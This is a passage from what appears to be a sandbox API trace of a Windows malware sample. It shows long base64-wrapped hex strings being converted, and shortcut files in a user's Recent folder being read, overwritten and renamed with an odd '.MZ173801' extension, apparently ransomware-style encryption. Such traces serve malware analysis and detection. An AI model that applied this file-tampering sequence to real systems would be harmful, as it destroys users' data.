TJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.456] GetCurrentThreadId () returned 0x9fc [0120.456] GetCurrentThreadId () returned 0x9fc [0120.456] GetCurrentThreadId () returned 0x9fc [0120.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.457] GetCurrentThreadId () returned 0x9fc [0120.457] GetCurrentThreadId () returned 0x9fc [0120.457] GetCurrentThreadId () returned 0x9fc [0120.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0zoFemghGuWJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0zofemghguwj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.457] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.457] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.457] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3fc [0120.457] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.457] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3fc, lpOverlapped=0x0) returned 1 [0120.458] CloseHandle (hObject=0x288) returned 1 [0120.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0zoFemghGuWJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0zofemghguwj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.460] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3fc, lpOverlapped=0x0) returned 1 [0120.461] CloseHandle (hObject=0x288) returned 1 [0120.465] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0zoFemghGuWJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0zofemghguwj.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0zoFemghGuWJ.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0zofemghguwj.lnk.mz173801")) returned 1 [0120.466] GetCurrentThreadId () returned 0x9fc [0120.466] GetCurrentThreadId () returned 0x9fc [0120.466] GetCurrentThreadId () returned 0x9fc [0120.466] GetCurrentThreadId () returned 0x9fc [0120.466] GetCurrentThreadId () returned 0x9fc [0120.466] GetCurrentThreadId () returned 0x9fc [0120.466] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded56880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xded56880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xded56880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1435, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="13nJq0p.lnk", cAlternateFileName="")) returned 1 [0120.466] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.466] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13nJq0p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\13njq0p.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded56880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xded56880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xded56880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1435)) returned 1 [0120.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.469] GetCurrentThreadId () returned 0x9fc [0120.469] GetCurrentThreadId () returned 0x9fc [0120.469] GetCurrentThreadId () returned 0x9fc [0120.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 